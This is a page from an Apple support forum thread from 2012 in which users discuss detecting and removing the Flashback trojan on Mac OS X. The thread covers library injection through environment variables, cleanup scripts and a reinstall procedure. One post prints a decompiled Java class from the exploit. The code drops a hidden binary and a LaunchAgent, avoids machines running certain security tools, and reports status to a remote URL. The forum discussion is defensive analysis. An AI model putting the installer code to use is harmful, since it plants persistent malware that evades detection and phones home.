Skip navigation

Dr Web Flashback Virus checker accurate?

16367 Views 100 Replies Latest reply: Apr 22, 2012 12:44 AM by Ramón Tech RSS
  • etresoft Level 7 Level 7 (23,895 points)
    Currently Being Moderated
    Apr 8, 2012 6:32 PM (in response to MadMacs0)

    MadMacs0 wrote:

    I suppose I should update my script. While future variants could use different names, the updated Java should prevent any subsequent installations. I will have to hope that all malware exectuables start with ".".

    I don't really think that's possible. My home folder is full of ".*" files that belong there and the LaunchAgents are often hard to pick out. Finding the date of installation makes it easier, but where do you go from there?

    I've updated my script to be more thorough and check for partial installations. The LaunchAgents folder is tricky. Anything that starts with "." definitely needs to go. Anything else will have to be reviewed on a case-by-case basis. It is always a good idea to keep an eye on that folder anyway. Some legitimate applications have been known to drop auto updaters in there.

  • etresoft Level 7 Level 7 (23,895 points)
    Currently Being Moderated
    Apr 8, 2012 6:36 PM (in response to fane_j)

    fane_j wrote:

     

    I've only read the first link, and it says the environment.plist doesn't work, because it is ignored. In fact, the author is wrong; it does work, and the library is loaded. We have plenty of proof here, in this forum—users who still ran Word 2004, which crashed because the loaded library was Intel, while Word 2004 is still PPC. Intel apps did not crash.

     

    Apple's documentation backs that up.

    Could you please elaborate on that? I see nothing relevant to this in the dyld manpage.

    It isn't that environment.plist doesn't work, that file (at the user level) does work. Indications are that the same method using DYLD_INSERT_LIBRARIES may not work at the system level. It requires DYLD_FORCE_FLAT_NAMESPACE to be set as well. If you try that in /etc/launchd.conf, you can't even log it. I suspect that if you try that in some (but perhaps not all) applications, they will just crash.

  • fane_j Level 4 Level 4 (3,655 points)
    Currently Being Moderated
    Apr 8, 2012 7:08 PM (in response to etresoft)

    etresoft wrote:

     

    It isn't that environment.plist doesn't work, that file (at the user level) does work.

    The blog's author says the instruction is ignored:

     

    "es nicht funktioniert: Mac OS X ignoriert diesen Eintrag in der ~/.MacOSX/environment.plist"

     

    and he's wrong.

     

    As to environment.plist, how could it work at system level? The question does not arise—it sets environment variables for the current user session.

    Indications are that the same method using DYLD_INSERT_LIBRARIES may not work at the system level. It requires DYLD_FORCE_FLAT_NAMESPACE to be set as well.

    I don't see how that has anything to do with the system level. By itself, DYLD_INSERT_LIBRARIES will not work with two-level namespaces images, period. DYLD_FORCE_FLAT_NAMESPACE does what its name says (which may create problems on its own, but that's another story). However, if the imported library uses a flat namespace, there's no need for DYLD_FORCE_FLAT_NAMESPACE.

     

    Be that as it may, and assuming it doesn't work at the system level, so what? This malware doesn't need to get there. At its most basic, this thing is designed to steal money. And it doesn't need to get to the system level to steal money.

  • etresoft Level 7 Level 7 (23,895 points)
    Currently Being Moderated
    Apr 8, 2012 8:27 PM (in response to fane_j)

    fane_j wrote:

     

    The blog's author says the instruction is ignored:

     

    "es nicht funktioniert: Mac OS X ignoriert diesen Eintrag in der ~/.MacOSX/environment.plist"

     

    and he's wrong.

     

    As to environment.plist, how could it work at system level? The question does not arise—it sets environment variables for the current user session.

    Environment variables can be set at any point and will be in effect for any subsequent processes. The environment.plist file sets environment variables to be active for processes launched by the Aqua user interface.

     

    You can do the same thing at a system level by adding commands to /etc/launchd.conf. You can do it for a specific application by modifying the info.plist file. Both of these modifications (may) require administrative rights with are all to frequently granted.

    Indications are that the same method using DYLD_INSERT_LIBRARIES may not work at the system level. It requires DYLD_FORCE_FLAT_NAMESPACE to be set as well.

    I don't see how that has anything to do with the system level. By itself, DYLD_INSERT_LIBRARIES will not work with two-level namespaces images, period. DYLD_FORCE_FLAT_NAMESPACE does what its name says (which may create problems on its own, but that's another story). However, if the imported library uses a flat namespace, there's no need for DYLD_FORCE_FLAT_NAMESPACE.

    Because if you try it at the system level you won't even be able to log in.

     

    At its most basic, this thing is designed to steal money. And it doesn't need to get to the system level to steal money.

    No one knows what it is designed to do.

  • MadMacs0 Level 4 Level 4 (3,320 points)
    Currently Being Moderated
    Apr 8, 2012 11:49 PM (in response to etresoft)

    etresoft wrote:

     

    I've updated my script to be more thorough and check for partial installations. The LaunchAgents folder is tricky. Anything that starts with "." definitely needs to go. Anything else will have to be reviewed on a case-by-case basis. It is always a good idea to keep an eye on that folder anyway. Some legitimate applications have been known to drop auto updaters in there.

    A couple of observations:

     

    It would appear that nothing really happens unless you detect active DYLD_INSERT_LIBRARIES. Since the .updater/LaunchAgent componet is active before installing the payload and supposedly deleted after doing it's thing, shouldn't those be the first things checked? I'm guessing it would not have detected those files for this user or any of the Little Snitch folks last week.

     

    I see you have an option to scan all applications for the presence of payload binaries. I suspect that is overkill at the present time. The "K" variant only injects into Safari but previous versions apparently involved Firefox, Chrome and Skype. From the information I have for a Type 2 infection, code is injected into all launched applications after they are in RAM, not on the hard drive. So I would be surprised if it show up during your scan. Perhaps better safe than sorry, but I assume it is time consuming.

  • fane_j Level 4 Level 4 (3,655 points)
    Currently Being Moderated
    Apr 9, 2012 12:20 AM (in response to etresoft)

    etresoft wrote:

     

    Environment variables can be set at any point and will be in effect for any subsequent processes.

    …For the current session, if defined in environment.plist. Because we're not talking environment vars in general. This is about a specific instruction in a specific file, and the German blogger was wrong about it. And the system level is not relevant, because environment.plist is not relevant at that level.

    You can do the same thing at a system level by adding commands to /etc/launchd.conf.

    What has launchd.conf got to do with our specific issue? I saw no reports of Flashback attempting to create launchd.conf or modify it (if it exists). Are we talking hypotheticals, or are we talking real-world malware?

    No one knows what it is designed to do.

    I beg to differ. I think the evidence shows quite clearly what it is designed to do.

  • lytic Level 1 Level 1 (5 points)
    Currently Being Moderated
    Apr 9, 2012 2:26 AM (in response to jo823)

    First of all, do you have a real mac computer? As I know some hackintosh has identical UUID. And our service provide infected information only for Backdoor.Flashback.39 which uses .plist in ~/Library/LaunchAgents and arbitrary file in user home directory ~/.<filename>

  • MadMacs0 Level 4 Level 4 (3,320 points)
    Currently Being Moderated
    Apr 9, 2012 2:52 AM (in response to lytic)

    lytic wrote:

     

    First of all, do you have a real mac computer? As I know some hackintosh has identical UUID. And our service provide infected information only for Backdoor.Flashback.39 which uses .plist in ~/Library/LaunchAgents and arbitrary file in user home directory ~/.<filename>

    I eventually found his LaunchAgent null.plist and we're waiting for him to come back to tell him how to proceed.

     

    Are you saying these files persist after a complete infection? We were under the impression that they were deleted after either a Type 1 or Type 2 completed and Binary 1 (these are F-Secure terms) took over the communications function.

     

    The reason we were finding the first two last weekend was because of Little Snitch, but he doesn't have it installed, so we can't quite figure out why those files are still present and active.

  • etresoft Level 7 Level 7 (23,895 points)
    Currently Being Moderated
    Apr 9, 2012 6:09 AM (in response to MadMacs0)

    MadMacs0 wrote:

     

    It would appear that nothing really happens unless you detect active DYLD_INSERT_LIBRARIES. Since the .updater/LaunchAgent componet is active before installing the payload and supposedly deleted after doing it's thing, shouldn't those be the first things checked? I'm guessing it would not have detected those files for this user or any of the Little Snitch folks last week.

     

     

    I might be better to make these comments on the User Tip itself, but I appreciate the feedback.

     

    You seem to be refering to the old version. I recently updated it to be much more paranoid. Now, the only thing that is dependent on an active DYLD_INSERT_LIBRARIES is a launchctl command to remove that variable. The LaunchAgent would be already gone at that point.

     

    I see you have an option to scan all applications for the presence of payload binaries. I suspect that is overkill at the present time. The "K" variant only injects into Safari but previous versions apparently involved Firefox, Chrome and Skype. From the information I have for a Type 2 infection, code is injected into all launched applications after they are in RAM, not on the hard drive. So I would be surprised if it show up during your scan. Perhaps better safe than sorry, but I assume it is time consuming.

     

    It's all overkill. The 600k number was just bogus. The only meaningful impact is the perception that Macs are now at risk for viruses. All I'm doing is trying to reassure people that they aren't at risk. Plus, I want to show how easy it is. The anti-virus companies are posting very complex command-line scripts in an effort to show how complex and difficult it is to remove the pathetic excuse for a trojan. They just want to sell software. Removing the trojan is easy. Writing the trojan is eady. Getting Applescript to work - that's hard. I finally figured out that in order to move a file to the trash, I had to cast the path name string as a string first. Silly me. Why didn't I think to cast the string as a string?

  • Ancient_One Level 1 Level 1 (30 points)
    Currently Being Moderated
    Apr 9, 2012 8:11 AM (in response to etresoft)

    When run on my Snow Leopard machine it completes fine. When run on my Lion machine I get the following error;

     

    Untitled copy.jpg

     

    Got any ideas?

     

    Steve H

  • lytic Level 1 Level 1 (5 points)
    Currently Being Moderated
    Apr 9, 2012 8:51 AM (in response to MadMacs0)

    Maybe this decompiled java class from exploit could useful for you:

     

    public Object run()
        throws Exception
    {
        System.setSecurityManager(null);
        String hxurl = (new StringBuilder()).append("http://").append(this.url).append("/stat_j/").toString();
        String hpath = System.getProperty("user.home");
        if(svcbin != null && !(new File("/Library/Little Snitch")).exists() && !(new File("/Developer/Applications/Xcode.app/Contents/MacOS/Xcode")).exists() && !(new File("/Applications/VirusBarrier X6.app")).exists())
        {
            String plpath = (new StringBuilder()).append(hpath).append("/Library/LaunchAgents/").append(svcname) .append(".plist").toString();
            String binname = (new StringBuilder()).append(hpath).append("/.").append(svcbinname).toString();
            String pldata = (new StringBuilder()).append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\"><plist version=\"1.0\"><dict><key>Label</key><string>").append(svcname).append("</stri ng><key>ProgramArguments</key><array><string>").append(binname).append("</string ></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>4212</integ er><key>StandardErrorPath</key><string>/dev/null</string><key>StandardOutPath</k ey><string>/dev/null</string></dict></plist>").toString();
            saveFile(binname, svcbin);
            saveFile(plpath, pldata.getBytes());
            Runtime.getRuntime().exec(new String[] {
                "chmod", "777", binname
            }).waitFor();
            Runtime.getRuntime().exec(new String[] {
                "launchctl", "load", plpath
            }).waitFor();
            hxurl = (new StringBuilder()).append(hxurl).append("ok").toString();
        } else
        {
            hxurl = (new StringBuilder()).append(hxurl).append("failed").toString();
        }
        Runtime.getRuntime().exec(new String[] {
            "rm", "-rf", (new StringBuilder()).append(hpath).append("/Library/Caches/Java/cache").toString()
        }).waitFor();
        URL url = new URL(hxurl);
        InputStream in = url.openStream();
        int b;
        while((b = in.read()) != -1) ;
        in.close();
        return null;
    }
  • MadMacs0 Level 4 Level 4 (3,320 points)
    Currently Being Moderated
    Apr 9, 2012 9:24 AM (in response to etresoft)

    etresoft wrote:

    I might be better to make these comments on the User Tip itself, but I appreciate the feedback.

    I tried that once before and was unable to post, but next time I'll try again.

    You seem to be refering to the old version. I recently updated it to be much more paranoid. Now, the only thing that is dependent on an active DYLD_INSERT_LIBRARIES is a launchctl command to remove that variable. The LaunchAgent would be already gone at that point.

    I was just going by the AppleScript you posted and didn't try to download it.

  • MadMacs0 Level 4 Level 4 (3,320 points)
    Currently Being Moderated
    Apr 9, 2012 1:42 PM (in response to jo823)


    jo823 wrote:

     

    Any advice about how to proceed?

    I've got mixed feelings about this one. Until recently I was under the impression that the two files you've found were deleted after the infection process completed, but now I'm not so sure that information was correct and I haven't been able to get confirmation one way or the other. For those that had Little Snitch in originally, most of us ended up deciding it was sufficient to delete those and move on. Since most of the testing you had already done when I got here came up empty, I'm at a loss to know the real state of your computer. So here's the advice I've been giving to everybody suspected of being infected by the last couple of variants, Courtesy of Linc Davis:

    You installed a variant of what’s commonly called the “Flashback” malware, although the name is obsolete.

     

    If you’re certain you know when that happened, and you back up with Time Machine or something similar, you can save yourself a lot of time by restoring your whole system from the most recent snapshot taken before it was infected. Then take Steps 7, 8, and 10 below.

     

    How can you tell when the infection took place? All you can be sure of is that you were infected some time before the problems started. You may have visited a blog that prompted you to install some kind of software, or a “certificate.” If you remember doing that recently, mention it in a reply, but don’t post a link.

     

    If you don’t know when you were infected, there's no easy, reliable way to remove the malware, because it's constantly changing. I suggest you take the following steps immediately:

     

    1. Back up all data to at least two different devices, if you haven't already done so.

     

    2. Boot from your recovery partition (if running Mac OS X 10.7 or later) or your installation disc (if running an earlier version of the Mac OS), launch Disk Utility, and erase the startup volume. This action will destroy all data on the volume, so you must be sure of your backups.

     

    3. Install the Mac OS.

     

    4. Reboot and go through the initial setup process to create an account with the same name as your old one. Don’t import anything from your backups at this stage.

     

    5. If running Mac OS X 10.6.x or earlier, run Software Update. You may have to run it more than once to fully update your system.

     

    6. Restore the contents of the top-level subfolders of your home folder except “Library” from the most recent backup. The Library folder may contain components of the malware. It’s best not to restore anything from there. If you must do so, restore only files, not folders, and only if (a) they’re visible in the Finder, and (b) you know what they are, and (c) they haven’t been altered. Don’t restore anything in the home subfolder Library/LaunchAgents, if it exists, or any hidden files or folders, no matter where they are.

     

    7. If you’re running Mac OS X 10.5.8 or earlier, launch Safari and select Safari Preferences… Security from the menu bar. Uncheck the box labeled Enable Java. Because of known bugs, Java in those OS versions is unsafe to use on the Internet. (Note: I’m not referring to JavaScript, which is unrelated to Java, despite the similar names.) If you’re running Mac OS 10.6.8 or later, you should still disable the Java web plugin unless you really need it. Few websites have legitimate Java content nowadays. If you encounter one that does, enable Java temporarily.

     

    8. Change every Internet password you have, starting with banking passwords. Check all financial accounts for unauthorized transactions. Take this step only after you’ve secured your system in the preceding steps, not before.

     

    9. Reinstall your third-party software from fresh downloads or original media, not from backups which may be contaminated.

     

    10. If you use any third-party web browsers, disable Java in their preferences. As with step 7, this step is mandatory if you’re running any version of Mac OS X older than 10.6. Otherwise it’s optional, but recommended.

    I suspect others will be here shortly to offer alternatives if you find this too difficult. I know that etresoft modified his script https://discussions.apple.com/docs/DOC-3271 last night to eliminate the two files you found.

1 2 3 4 5 ... 7 Previous Next

Actions

More Like This

  • Retrieving data ...

Bookmarked By (2)

Legend

  • This solved my question - 10 points
  • This helped me - 5 points
This site contains user submitted content, comments and opinions and is for informational purposes only. Apple disclaims any and all liability for the acts, omissions and conduct of any third parties in connection with or related to your use of the site. All postings and use of the content on this site are subject to the Apple Support Communities Terms of Use.